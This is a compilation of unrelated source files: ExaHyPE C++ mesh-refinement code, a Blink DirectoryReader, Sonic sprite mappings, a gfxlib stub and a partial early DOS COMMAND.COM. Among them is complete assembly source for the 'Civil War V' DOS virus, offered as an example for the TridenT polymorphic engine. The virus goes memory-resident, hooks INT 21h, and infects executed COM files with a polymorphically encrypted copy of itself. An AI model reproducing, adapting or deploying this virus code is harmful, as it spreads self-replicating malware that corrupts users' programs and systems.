const tarch::la::Vector<DIMENSIONS, int>& fineGridPositionOfCell) {
for (unsigned int solverNumber=0; solverNumber < exahype::solvers::RegisteredSolvers.size(); solverNumber++) {
auto* solver = exahype::solvers::RegisteredSolvers[solverNumber];
solver->sendMeshUpdateFlagsToMaster(
tarch::parallel::NodePool::getInstance().getMasterRank(),
verticesEnumerator.getCellCenter(),
verticesEnumerator.getLevel());
if (!_localState.isInvolvedInJoinOrFork()) {
const int element =
solver->tryGetElement(localCell.getCellDescriptionsIndex(),solverNumber);
if (element!=exahype::solvers::Solver::NotFound) {
solver->prepareWorkerCellDescriptionAtMasterWorkerBoundary(
localCell.getCellDescriptionsIndex(),element);
}
}
}
exahype::sendMasterWorkerCommunicationMetadata(
tarch::parallel::NodePool::getInstance().getMasterRank(),
localCell.getCellDescriptionsIndex(),
verticesEnumerator.getCellCenter(),
verticesEnumerator.getLevel());
}
void exahype::mappings::MeshRefinement::mergeWithMaster(
const exahype::Cell& workerGridCell,
exahype::Vertex* const workerGridVertices,
const peano::grid::VertexEnumerator& workerEnumerator,
exahype::Cell& fineGridCell, exahype::Vertex* const fineGridVertices,
const peano::grid::VertexEnumerator& fineGridVerticesEnumerator,
exahype::Vertex* const coarseGridVertices,
const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator,
exahype::Cell& coarseGridCell,
const tarch::la::Vector<DIMENSIONS, int>& fineGridPositionOfCell,
int worker, const exahype::State& workerState,
exahype::State& masterState) {
// Merge global solver states
for (unsigned int solverNumber=0; solverNumber < exahype::solvers::RegisteredSolvers.size(); solverNumber++) {
auto* solver = exahype::solvers::RegisteredSolvers[solverNumber];
solver->mergeWithWorkerMeshUpdateFlags(
worker,
fineGridVerticesEnumerator.getCellCenter(),
fineGridVerticesEnumerator.getLevel());
}
// Merge cell states
if (fineGridCell.isInitialised() &&
_localState.isInvolvedInJoinOrFork()) {
fineGridCell.mergeWithWorkerMetadata(
worker,
fineGridVerticesEnumerator.getCellCenter(),
fineGridVerticesEnumerator.getLevel(),
_localState.getAlgorithmSection());
} else {
exahype::dropMetadata(
worker,
peano::heap::MessageType::MasterWorkerCommunication,
fineGridVerticesEnumerator.getCellCenter(),
fineGridVerticesEnumerator.getLevel());
}
}
//
// All methods below are nop,
//
// ==================================
void exahype::mappings::MeshRefinement::prepareCopyToRemoteNode(
exahype::Vertex& localVertex, int toRank,
const tarch::la::Vector<DIMENSIONS, double>& x,
const tarch::la::Vector<DIMENSIONS, double>& h, int level) {
// do nothing
}
void exahype::mappings::MeshRefinement::mergeWithRemoteDataDueToForkOrJoin(
exahype::Vertex& localVertex, const exahype::Vertex& masterOrWorkerVertex,
int fromRank, const tarch::la::Vector<DIMENSIONS, double>& x,
const tarch::la::Vector<DIMENSIONS, double>& h, int level) {
// do nothing
}
void exahype::mappings::MeshRefinement::mergeWithWorker(
exahype::Vertex& localVertex, const exahype::Vertex& receivedMasterVertex,
const tarch::la::Vector<DIMENSIONS, double>& x,
const tarch::la::Vector<DIMENSIONS, double>& h, int level) {
// do nothing
}
#endif
exahype::mappings::MeshRefinement::MeshRefinement() {
// do nothing
}
exahype::mappings::MeshRefinement::~MeshRefinement() {
// do nothing
}
#if defined(SharedMemoryParallelisation)
void exahype::mappings::MeshRefinement::mergeWithWorkerThread(
const MeshRefinement& workerThread) {
// do nothing
}
#endif
void exahype::mappings::MeshRefinement::destroyHangingVertex(
const exahype::Vertex& fineGridVertex,
const tarch::la::Vector<DIMENSIONS, double>& fineGridX,
const tarch::la::Vector<DIMENSIONS, double>& fineGridH,
exahype::Vertex* const coarseGridVertices,
const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator,
exahype::Cell& coarseGridCell,
const tarch::la::Vector<DIMENSIONS, int>& fineGridPositionOfVertex) {
// do nothing
}
void exahype::mappings::MeshRefinement::destroyVertex(
const exahype::Vertex& fineGridVertex,
const tarch::la::Vector<DIMENSIONS, double>& fineGridX,
const tarch::la::Vector<DIMENSIONS, double>& fineGridH,
exahype::Vertex* const coarseGridVertices,
const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator,
exahype::Cell& coarseGridCell,
const tarch::la::Vector<DIMENSIONS, int>& fineGridPositionOfVertex) {
// do nothing
}
void exahype::mappings::MeshRefinement::destroyCell(
const exahype::Cell& fineGridCell, exahype::Vertex* const fineGridVertices,
const peano::grid::VertexEnumerator& fineGridVerticesEnumerator,
exahype::Vertex* const coarseGridVertices,
const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator,
exahype::Cell& coarseGridCell,
const tarch::la::Vector<DIMENSIONS, int>& fineGridPositionOfCell) {
// do nothing
}
void exahype::mappings::MeshRefinement::descend(
exahype::Cell* const fineGridCells, exahype::Vertex* const fineGridVertices,
const peano::grid::VertexEnumerator& fineGridVerticesEnumerator,
exahype::Vertex* const coarseGridVertices,
const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator,
exahype::Cell& coarseGridCell) {
// do nothing
}
void exahype::mappings::MeshRefinement::ascend(
exahype::Cell* const fineGridCells, exahype::Vertex* const fineGridVertices,
const peano::grid::VertexEnumerator& fineGridVerticesEnumerator,
exahype::Vertex* const coarseGridVertices,
const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator,
exahype::Cell& coarseGridCell) {
// do nothing
}
|
/*
* Copyright (C) 2010 Google Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following disclaimer
* in the documentation and/or other materials provided with the
* distribution.
* * Neither the name of Google Inc. nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "config.h"
#include "modules/filesystem/DirectoryReader.h"
#include "core/fileapi/FileError.h"
#include "modules/filesystem/EntriesCallback.h"
#include "modules/filesystem/Entry.h"
#include "modules/filesystem/ErrorCallback.h"
namespace blink {
class DirectoryReader::EntriesCallbackHelper final : public EntriesCallback {
public:
explicit EntriesCallbackHelper(DirectoryReader* reader)
: m_reader(reader)
{
}
virtual void handleEvent(const EntryHeapVector& entries) override
{
m_reader->addEntries(entries);
}
DEFINE_INLINE_VIRTUAL_TRACE()
{
visitor->trace(m_reader);
EntriesCallback::trace(visitor);
}
private:
// FIXME: This Member keeps the reader alive until all of the readDirectory results are received. crbug.com/350285
Member<DirectoryReader> m_reader;
};
class DirectoryReader::ErrorCallbackHelper final : public ErrorCallback {
public:
explicit ErrorCallbackHelper(DirectoryReader* reader)
: m_reader(reader)
{
}
virtual void handleEvent(FileError* error) override
{
m_reader->onError(error);
}
DEFINE_INLINE_VIRTUAL_TRACE()
{
visitor->trace(m_reader);
ErrorCallback::trace(visitor);
}
private:
Member<DirectoryReader> m_reader;
};
DirectoryReader::DirectoryReader(DOMFileSystemBase* fileSystem, const String& fullPath)
: DirectoryReaderBase(fileSystem, fullPath)
, m_isReading(false)
{
}
DirectoryReader::~DirectoryReader()
{
}
void DirectoryReader::readEntries(EntriesCallback* entriesCallback, ErrorCallback* errorCallback)
{
if (!m_isReading) {
m_isReading = true;
filesystem()->readDirectory(this, m_fullPath, new EntriesCallbackHelper(this), new ErrorCallbackHelper(this));
}
if (m_error) {
filesystem()->scheduleCallback(errorCallback, m_error);
return;
}
if (m_entriesCallback) {
// Non-null m_entriesCallback means multiple readEntries() calls are made concurrently. We don't allow doing it.
filesystem()->scheduleCallback(errorCallback, FileError::create(FileError::INVALID_STATE_ERR));
return;
}
if (!m_hasMoreEntries || !m_entries.isEmpty()) {
filesystem()->scheduleCallback(entriesCallback, m_entries);
m_entries.clear();
return;
}
m_entriesCallback = entriesCallback;
m_errorCallback = errorCallback;
}
void DirectoryReader::addEntries(const EntryHeapVector& entries)
{
m_entries.appendVector(entries);
m_errorCallback = nullptr;
if (m_entriesCallback) {
EntriesCallback* entriesCallback = m_entriesCallback.release();
EntryHeapVector entries;
entries.swap(m_entries);
entriesCallback->handleEvent(entries);
}
}
void DirectoryReader::onError(FileError* error)
{
m_error = error;
m_entriesCallback = nullptr;
if (m_errorCallback) {
ErrorCallback* errorCallback = m_errorCallback.release();
errorCallback->handleEvent(error);
}
}
DEFINE_TRACE(DirectoryReader)
{
visitor->trace(m_entries);
visitor->trace(m_error);
visitor->trace(m_entriesCallback);
visitor->trace(m_errorCallback);
DirectoryReaderBase::trace(visitor);
}
}
|
; ---------------------------------------------------------------------------
; Sprite mappings - Buzz Bomber enemy
; ---------------------------------------------------------------------------
Map_Buzz_internal:
dc.w @Fly1-Map_Buzz_internal
dc.w @Fly2-Map_Buzz_internal
dc.w @Fly3-Map_Buzz_internal
dc.w @Fly4-Map_Buzz_internal
dc.w @Fire1-Map_Buzz_internal
dc.w @Fire2-Map_Buzz_internal
@Fly1: dc.b 6
dc.b $F4, 9, 0, 0, $E8 ; flying
dc.b $F4, 9, 0, $F, 0
dc.b 4, 8, 0, $15, $E8
dc.b 4, 4, 0, $18, 0
dc.b $F1, 8, 0, $1A, $EC
dc.b $F1, 4, 0, $1D, 4
@Fly2: dc.b 6
dc.b $F4, 9, 0, 0, $E8
dc.b $F4, 9, 0, $F, 0
dc.b 4, 8, 0, $15, $E8
dc.b 4, 4, 0, $18, 0
dc.b $F4, 8, 0, $1F, $EC
dc.b $F4, 4, 0, $22, 4
@Fly3: dc.b 7
dc.b 4, 0, 0, $30, $C
dc.b $F4, 9, 0, 0, $E8
dc.b $F4, 9, 0, $F, 0
dc.b 4, 8, 0, $15, $E8
dc.b 4, 4, 0, $18, 0
dc.b $F1, 8, 0, $1A, $EC
dc.b $F1, 4, 0, $1D, 4
@Fly4: dc.b 7
dc.b 4, 4, 0, $31, $C
dc.b $F4, 9, 0, 0, $E8
dc.b $F4, 9, 0, $F, 0
dc.b 4, 8, 0, $15, $E8
dc.b 4, 4, 0, $18, 0
dc.b $F4, 8, 0, $1F, $EC
dc.b $F4, 4, 0, $22, 4
@Fire1: dc.b 6
dc.b $F4, $D, 0, 0, $EC ; stopping and firing
dc.b 4, $C, 0, 8, $EC
dc.b 4, 0, 0, $C, $C
dc.b $C, 4, 0, $D, $F4
dc.b $F1, 8, 0, $1A, $EC
dc.b $F1, 4, 0, $1D, 4
@Fire2: dc.b 4
dc.b $F4, $D, 0, 0, $EC
dc.b 4, $C, 0, 8, $EC
dc.b 4, 0, 0, $C, $C
dc.b $C, 4, 0, $D, $F4
dc.b $F4, 8, 0, $1F, $EC
dc.b $F4, 4, 0, $22, 4
even |
;generated automatically via makeasms.bat
include gfxlib.i
CGROUP group code
code segment dword 'CODE'
assume cs:CGROUP,ds:CGROUP
GFXLIB_JUMP pj_clear_rast gfxl_pj_clear_rast
code ends
end
|
;****************************************************************************
; Civil War V V1.0 *
; *
; Assembled with Tasm 2.5 *
; (c) Jan '93 [ Dark Helmet / TridenT ], The Netherlands *
; *
;****************************************************************************
; *
; This is an example virus for the TPE engine. *
; We are not responsible if you use the TPE in an illegal or naughty way. *
; The TridenT Polymorpic Engine version 1.3 should be used for linking *
; with this virus. *
; *
;****************************************************************************
.model tiny
.radix 16
.code
org 100h
extrn rnd_init:near
extrn rnd_get:near
extrn crypt:near
extrn tpe_top:near
len equ offset tpe_top - begin
dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h ; Jump + infection
; marker
begin: Call virus ; make call to
; push IP on stack
virus: pop bp ; get IP from stack.
sub bp,offset virus ; adjust IP.
restore_host: mov di,0100h ; recover beginning
lea si,ds:[carrier_begin+bp] ; of carrier program.
mov cx,06h
rep movsb
check_resident: mov ah,0a0h ; check if virus
int 21h ; already installed.
cmp ax,0008h
je end_virus
adjust_memory: mov ax,cs ; start of Memory
dec ax ; Control Block
mov ds,ax
cmp byte ptr ds:[0000],5a ; check if last
; block
jne abort ; if not last block
; end
mov ax,ds:[0003] ; decrease memory
sub ax,200h ; by X kbyte lenght
mov ds:[0003],ax
sub word ptr ds:[0012],200h
install_virus: call RND_init
mov bx,ax ; es point to start
mov ax,es ; virus in memory
add ax,bx
mov es,ax
mov cx,len ; cx = lenght virus
mov ax,ds ; restore ds
inc ax
mov ds,ax
lea si,ds:[begin+bp] ; point to start virus
lea di,es:0100 ; point to destination
rep movsb ; copy virus in
; memory
mov [virus_segment+bp],es ; store start virus
; in memory
mov ax,cs ; restore es
mov es,ax
hook_vector: cli ; no interups
mov ax,3521h ; revector int 21
int 21h
mov ds,[virus_segment+bp]
mov old_21h-6h,bx
mov old_21h+2-6h,es
mov dx,offset main_virus - 6h
mov ax,2521h
int 21h
sti
abort: mov ax,cs
mov ds,ax
mov es,ax
end_virus: mov bx,0100h ; jump to begin
jmp bx ; host file
;*****************************************************************************
main_virus: pushf
cmp ah,0a0h ; check virus call
jne new_21h ; no virus call
mov ax,0008h ; ax = id
popf ; return id
iret
new_21h: push ds ; save registers
push es
push di
push si
push ax
push bx
push cx
push dx
check_exec: cmp ax,04b00h ; exec function?
je chk_com
continu: pop dx ; restore registers
pop cx
pop bx
pop ax
pop si
pop di
pop es
pop ds
popf
jmp dword ptr cs:[old_21h-6]
chk_com: mov cs:[name_seg-6],ds
mov cs:[name_off-6],dx
cld ; check extension
mov di,dx ; for COM
push ds
pop es
mov al,'.' ; search extension
repne scasb ; check for 'COM"
cmp word ptr es:[di],'OC' ; check 'CO'
jne continu
cmp word ptr es:[di+2],'M' ; check 'M'
jne continu
own_stack: cli
mov cs:[old_sp-6],sp
mov cs:[old_ss-6],ss
mov ax,cs
add ax,150h
mov ss,ax
mov sp,100h
sti
call set_int24h
call set_atribuut
open_file: mov ds,cs:[name_seg-6]
mov dx,cs:[name_off-6]
mov ax,3D02h ; open file
call do_int21h
jc close_file
mov cs:[handle-6],ax
mov bx,ax
call get_date
check_infect: mov bx,cs:[handle-6] ; read first 6 bytes
mov ah,3fh
mov cx,06h
lea dx,cs:[carrier_begin-6]
call do_int21h
push cs
pop ds
mov al, byte ptr [carrier_begin-6]+3 ; check initials
mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H'
cmp ax,cs:[initials-6]
je save_date ; if equal already
; infect
get_lenght: mov ax,4200h ; file pointer begin
call move_pointer
mov ax,4202h ; file pointer end
call move_pointer
sub ax,03h ; ax = filelenght
mov cs:[lenght_file-6],ax
call write_jmp
call write_virus
save_date: mov bx,cs:[handle-6]
mov dx,cs:[date-6]
mov cx,cs:[time-6]
mov ax,5701h
call do_int21h
close_file: mov bx,cs:[handle-6]
mov ah,03eh ; close file
call do_int21h
mov dx,cs:[old_24h-6] ; restore int24h
mov ds,cs:[old_24h+2-6]
mov ax,2524h
call do_int21h
restore_stack: cli
mov sp,cs:[old_sp-6]
mov ss,cs:[old_ss-6]
sti
jmp continu
new_24h: mov al,03h
iret
;---------------------------------------------------------------------------
; PROCEDURES
;---------------------------------------------------------------------------
move_pointer: push cs
pop ds
mov bx,[handle-6]
xor cx,cx
xor dx,dx
call do_int21h
ret
do_int21h: pushf
call dword ptr cs:[old_21h-6]
ret
write_jmp: mov ax,4200h ; goto begin of file
call move_pointer
mov ah,40h ; write JMP instruction
mov cx,01h
lea dx,[jump-6]
call do_int21h
mov ah,40h ; write JMP offset
mov cx,02h
lea dx,[lenght_file-6]
call do_int21h
mov ah,40h ; write initials
mov cx,02h
lea dx,[initials-6]
call do_int21h
ret
write_virus: mov ax,4202h ;goto end of file
call move_pointer
TPE_engine: mov ax,cs ;ES points to
add ax,90h ;worksegment
mov es,ax
push cs ;DS:DX code to encrypt
pop ds
mov dx,100h
mov bp,[lenght_file-6] ;BP start of encryptor
add bp,103h
mov cx,len ;lenght code to encrypt
xor si,si ;distance encryptor/
;decryptor = 0
call rnd_get ;AX = type of
call crypt ;encryption
mov bx,cs:[handle-6] ;write virus
mov ah,40h ;at end of file
call do_int21h
ret
get_date: mov ax,5700h
call do_int21h
push cs
pop ds
mov [date-6],dx
mov [time-6],cx
ret
set_int24h: mov ax,3524h ; hook int 24h
call do_int21h
mov cs:[old_24h-6],bx
mov cs:[old_24h+2-6],es
mov dx,offset new_24h-6
push cs
pop ds
mov ax,2524h
call do_int21h
ret
set_atribuut: mov ax,4300h ; get atribuut
mov ds,cs:[name_seg-6]
mov dx,cs:[name_off-6]
call do_int21h
and cl,0feh ; set atribuut
mov ax,4301h
call do_int21h
ret
;---------------------------------------------------------------------------
; DATA
;---------------------------------------------------------------------------
virus_name db "Civil War V v1.0, (c) Jan '92"
old_21h dw 00h,00h
old_24h dw 00h,00h
old_ss dw ?
old_sp dw ?
carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h
jump db 0e9h
name_seg dw ?
name_off dw ?
virus_segment dw ?
lenght_file dw ?
handle dw ?
date dw ?
time dw ?
initials dw 4844h
writer db "[ DH / TridenT ]"
end dummy
|
; COMMAND version 1.17
;
; This version of COMMAND is divided into three distinct parts. First
; is the resident portion, which includes handlers for interrupts
; 22H (terminate), 23H (Cntrl-C), 24H (fatal error), and 27H (stay
; resident); it also has code to test and, if necessary, reload the
; transient portion. Following the resident is the init code, which is
; overwritten after use. Then comes the transient portion, which
; includes all command processing (whether internal or external).
; The transient portion loads at the end of physical memory, and it may
; be overlayed by programs that need as much memory as possible. When
; the resident portion of command regains control from a user program,
; a checksum is performed on the transient portion to see if it must be
; reloaded. Thus programs which do not need maximum memory will save
; the time required to reload COMMAND when they terminate.
;Use the following booleans to set assembly flags
FALSE EQU 0
TRUE EQU NOT FALSE
IBMVER EQU TRUE ;Switch to build IBM version of Command
MSVER EQU FALSE ;Switch to build MS-DOS version of Command
HIGHMEM EQU FALSE ;Run resident part above transient (high memory)
LINPERPAG EQU 23
NORMPERLIN EQU 1
WIDEPERLIN EQU 5
IF IBMVER
SYM EQU ">"
COMDRV EQU 1
ENDIF
IF MSVER
SYM EQU ":"
COMDRV EQU 0
ENDIF
FCB EQU 5CH
DSKRESET EQU 13
SETBASE EQU 38
SRCHFRST EQU 17
SRCHNXT EQU 18
RENAM EQU 23
INCHAR EQU 1
GETFAT EQU 27
OPEN EQU 15
CLOSE EQU 16
MAKE EQU 22
DELETE EQU 19
RDBLK EQU 39
WRBLK EQU 40
SETDMA EQU 26
SELDRV EQU 14
GETDRV EQU 25
PRINTBUF EQU 9
OUTCH EQU 2
INBUF EQU 10
GETDATE EQU 2AH
SETDATE EQU 2BH
GETTIME EQU 2CH
SETTIME EQU 2DH
RR EQU 33
RECLEN EQU 14
FILLEN EQU 16
OFFDATE EQU 20
;The following are all of the segments used in the load order
CODERES SEGMENT
CODERES ENDS
DATARES SEGMENT BYTE
DATARES ENDS
INIT SEGMENT BYTE
INIT ENDS
TAIL SEGMENT PARA
TAIL ENDS
TRANCODE SEGMENT PARA
TRANCODE ENDS
TRANDATA SEGMENT BYTE
TRANDATA ENDS
TRANSPACE SEGMENT BYTE
TRANSPACE ENDS
RESGROUP GROUP CODERES,DATARES,INIT,TAIL
TRANGROUP GROUP TRANCODE,TRANDATA,TRANSPACE
;Data for resident portion
DATARES SEGMENT BYTE
ORG 0
ZERO = $
MESBAS DW OFFSET RESGROUP:ERR0
DW OFFSET RESGROUP:ERR2
DW OFFSET RESGROUP:ERR4
DW OFFSET RESGROUP:ERR6
DW OFFSET RESGROUP:ERR8
DW OFFSET RESGROUP:ERR10
DW OFFSET RESGROUP:ERR12
ERR0 DB "Write protect$"
ERR2 DB "Not ready$"
ERR4 DB "Data$"
ERR6 DB "Seek$"
ERR8 DB "Sector not found$"
ERR10 DB "Write fault$"
ERR12 DB "Disk$"
READ DB "read$"
WRITE DB "writ$"
ERRMES DB " error "
IOTYP DB "writing"
DRVNUM DB " drive "
DRVLET DB "A"
NEWLIN DB 13,10,"$"
REQUEST DB "Abort, Retry, Ignore? $"
BADFAT DB 13,10,"File allocation table bad,$"
COMBAD DB 13,10,"Invalid COMMAND.COM"
NEEDCOM DB 13,10,"Insert DOS disk in "
IF IBMVER
DB "drive A"
ELSE
DB "default drive"
ENDIF
PROMPT DB 13,10,"and strike any key when ready",13,10,"$"
NEEDBAT DB 13,10,"Insert disk with batch file$"
ENDBATMES DB 13,10,"Terminate batch job (Y/N)? $"
LOADING DB 0
BATFCB DB 1,"AUTOEXECBAT"
DB 21 DUP(?)
DW 0
DW 0 ;Initialize RR field to zero
PARMTAB DW 10 DUP(-1) ;No parameters initially
BATCH DB 1 ;Assume batch mode initially
COMFCB DB COMDRV,"COMMAND COM"
DB 25 DUP(?)
TRANS DW OFFSET TRANGROUP:COMMAND
TRNSEG DW ?
BATBYT DB ?
MEMSIZ DW ?
SUM DW ?
INITADD DB 4 DUP(?)
RESDATASIZE EQU $-ZERO
DATARES ENDS
;Data for transient portion
TRANDATA SEGMENT BYTE
ORG 0
ZERO = $
IF MSVER
VERSTR DB "MS-DOS Version 1.25A Command Version 1.17A",13,10,"$"
ENDIF
IF IBMVER
VERSTR DB "IBM PC-DOS Version 1.10A",13,10,"$"
ENDIF
BADNAM DB "Bad command or file name",13,10,"$"
MISNAM DB "Missing file name$"
RENERR DB "Duplicate file name or "
NOTFND DB "File not found$"
EXEBAD DB "Error in EXE file$"
NOSPACE DB "Insufficient disk space",13,10,"$"
FULDIR DB "File creation error",13,10,"$"
OVERWR DB "File cannot be copied onto itself",13,10,"$"
LOSTERR DB "Content of destination lost before copy",13,10,"$"
COPIED DB " File(s) copied$"
DIRMES DB " File(s)$"
TOOBIG DB "Program too big to fit in memory$"
BADDRV DB "Invalid drive specification$"
PAUSMES DB "Strike a key when ready . . . $"
BADSWT DB "Illegal switch",13,10,"$"
WEEKTAB DB "SunMonTueWedThuFriSat"
BADDAT DB 13,10,"Invalid date$"
CURDAT DB "Current date is $"
NEWDAT DB 13,10,"Enter new date: $"
BADTIM DB 13,10,"Invalid time$"
CURTIM DB "Current time is $"
NEWTIM DB 13,10,"Enter new time: $"
SUREMES DB "Are you sure (Y/N)? $"
COMTAB DB 4,"DIR",1
DW OFFSET TRANGROUP:CATALOG
DB 7,"RENAME",1
DW OFFSET TRANGROUP:RENAME
DB 4,"REN",1
DW OFFSET TRANGROUP:RENAME
DB 6,"ERASE",1
DW OFFSET TRANGROUP:ERASE
DB 4,"DEL",1
DW OFFSET TRANGROUP:ERASE
DB 5,"TYPE",1
DW OFFSET TRANGROUP:TYPEFIL
DB 4,"REM",1
DW OFFSET TRANGROUP:COMMAND
DB 5,"COPY",1
DW OFFSET TRANGROUP:COPY
DB 6,"PAUSE",1
DW OFFSET TRANGROUP:PAUSE
DB 5,"DATE",0
DW OFFSET TRANGROUP:DATE
DB 4,"VER",0
DW OFFSET TRANGROUP:VER
IF IBMVER
DB 4,"CLS",0
DW OFFSET TRANGROUP:CLS
ENDIF
DB 5,"TIME",0
DW OFFSET TRANGROUP:TIME
DB 0 ;Terminate command table
COMBUF DB 128,1,13
TRANDATASIZE EQU $-ZERO
TRANDATA ENDS
;Uninitialized transient data
TRANSPACE SEGMENT BYTE
ORG 0
ZERO = $
DB 128 DUP(?)
TPA DW 1 DUP(?)
RESSEG DW 1 DUP(?)
CHKDRV DB 1 DUP(?)
FILTYP DB 1 DUP(?)
CURDRV DB 1 DUP(?)
PARM1 DB 1 DUP(?)
PARM2 DB 1 DUP(?)
COMSW DW 1 DUP(?)
ARG1S DW 1 DUP(?)
ARG2S DW 1 DUP(?)
FLAGER DB 1 DUP(?)
CFLAG DB 1 DUP(?)
SPECDRV DB 1 DUP(?)
BYTCNT DW 1 DUP(?)
NXTADD DW 1 DUP(?)
LINCNT DB 1 DUP(?)
LINLEN DB 1 DUP(?)
FILECNT DW 1 DUP(?)
EXEFCB LABEL WORD
IDLEN DB 1 DUP(?)
ID DB 8 DUP(?)
COM DB 3 DUP(?)
DEST DB 37 DUP(?)
DESTNAME DB 11 DUP(?)
DIRBUF DB 37 DUP(?)
BITS DW 1 DUP(?)
FULLSCR DW 1 DUP(?)
EXEEND DW 1 DUP(?)
;Header variables for EXE file load
;These are overlapped with COPY variables, below
RUNVAR LABEL WORD
RELPT DW 1 DUP(?)
RELSEG DW 1 DUP(?)
PSIZE LABEL WORD
PAGES DW 1 DUP(?)
RELCNT DW 1 DUP(?)
HEADSIZ DW 1 DUP(?)
DW 1 DUP(?)
LOADLOW DW 1 DUP(?)
INITSS DW 1 DUP(?)
INITSP DW 1 DUP(?)
DW 1 DUP(?)
INITIP DW 1 DUP(?)
INITCS DW 1 DUP(?)
RELTAB DW 1 DUP(?)
RUNVARSIZ EQU $-RUNVAR
DB 80H DUP(?)
STACK LABEL WORD
PRETRLEN EQU $-ZERO ;Used later to compute TRNLEN
ORG RUNVAR-ZERO ;Overlaps EXE variables
SRCPT DW 1 DUP(?)
INEXACT DB 1 DUP(?)
APPEND DB 1 DUP(?)
NOWRITE DB 1 DUP(?)
ASCII DB 1 DUP(?)
PLUS DB 1 DUP(?)
SOURCE DB 11 DUP(?)
TRANSPACESIZE EQU $-ZERO
TRANSPACE ENDS
;START OF RESIDENT PORTION
CODERES SEGMENT
ASSUME CS:RESGROUP,DS:RESGROUP,ES:RESGROUP,SS:RESGROUP
ORG 0
ZERO = $
PARMBUF LABEL WORD
ORG 100H
RSTACK LABEL WORD
PROGSTART:
JMP CONPROC
LTPA DW 0 ;WILL STORE TPA SEGMENT HERE
MYSEG DW 0 ;Put our own segment here
CONTC:
MOV AX,CS
MOV DS,AX
MOV SS,AX
MOV SP,OFFSET RESGROUP:RSTACK
STI
CALL SETVECT
MOV AH,DSKRESET
INT 33 ;Reset disks in case files were open
TEST [BATCH],-1
JZ LODCOM
ASKEND:
MOV DX,OFFSET RESGROUP:ENDBATMES
MOV AH,PRINTBUF
INT 33
MOV AX,0C00H+INCHAR
INT 33
AND AL,5FH
CMP AL,"N"
JZ LODCOM
CMP AL,"Y"
JNZ ASKEND
MOV [BATCH],0
LODCOM:
MOV AX,CS
MOV SS,AX
MOV SP,OFFSET RESGROUP:RSTACK
MOV DS,AX
CALL SETVECT
CALL CHKSUM
CMP DX,[SUM]
JZ HAVCOM
MOV [LOADING],1
CALL LOADCOM
CHKSAME:
CALL CHKSUM
CMP DX,[SUM]
JZ HAVCOM
CALL WRONGCOM
JMP SHORT CHKSAME
HAVCOM:
MOV [LOADING],0
MOV SI,OFFSET RESGROUP:LTPA
MOV DI,OFFSET TRANGROUP:TPA
MOV ES,[TRNSEG]
CLD
MOVSW ;Move TPA segment to transient storage
MOVSW ;Move resident segment too
MOV AX,[MEMSIZ]
MOV WORD PTR ES:[2],AX
JMP DWORD PTR [TRANS]
RESIDENT:
ADD DX,15
MOV CL,4
SHR DX,CL ;Number of paragraphs of new addition
ADD CS:[LTPA],DX
XOR AX,AX
MOV DS,AX
JMP DWORD PTR DS:[80H] ;Pretend user executed INT 20H
DSKERR:
;******************************************************
; THIS IS THE DEFAULT DISK ERROR HANDLING CODE
; AVAILABLE TO ALL USERS IF THEY DO NOT TRY TO
; INTERCEPT INTERRUPT 24H.
;******************************************************
STI
PUSH DS
PUSH CS
POP DS ;Set up local data segment
PUSH DX
CALL CRLF
POP DX
ADD AL,"A" ;Compute drive letter
MOV [DRVLET],AL
TEST AH,80H ;Check if hard disk error
JNZ FATERR
MOV SI,OFFSET RESGROUP:READ
TEST AH,1
JZ SAVMES
MOV SI,OFFSET RESGROUP:WRITE
SAVMES:
LODSW
MOV WORD PTR [IOTYP],AX
LODSW
MOV WORD PTR [IOTYP+2],AX
AND DI,0FFH
CMP DI,12
JBE HAVCOD
MOV DI,12
HAVCOD:
MOV DI,WORD PTR [DI+MESBAS] ;Get pointer to error message
XCHG DI,DX ;May need DX later
MOV AH,PRINTBUF
INT 33 ;Print error type
MOV DX,OFFSET RESGROUP:ERRMES
INT 33
CMP [LOADING],0
JNZ GETCOMDSK
ASK:
MOV DX,OFFSET RESGROUP:REQUEST
MOV AH,PRINTBUF
INT 33
MOV AX,0C00H+INCHAR
INT 33 ;Get response
CALL CRLF
OR AL,20H ;Convert to lower case
MOV AH,0 ;Return code for ignore
CMP AL,"i" ;Ignore?
JZ EXIT
INC AH
CMP AL,"r" ;Retry?
JZ EXIT
INC AH
CMP AL,"a" ;Abort?
JNZ ASK
EXIT:
MOV AL,AH
MOV DX,DI
POP DS
IRET
FATERR:
MOV DX,OFFSET RESGROUP:BADFAT
MOV AH,PRINTBUF
INT 33
MOV DX,OFFSET RESGROUP:DRVNUM
INT 33
MOV AL,2 ;Abort
POP DS
IRET
GETCOMDSK:
MOV DX,OFFSET RESGROUP:NEEDCOM
MOV AH,PRINTBUF
INT 33
MOV AX,0C07H ;Get char without testing or echo
INT 33
JMP LODCOM
CRLF:
MOV DX,OFFSET RESGROUP:NEWLIN
PUSH AX
MOV AH,PRINTBUF
INT 33
POP AX
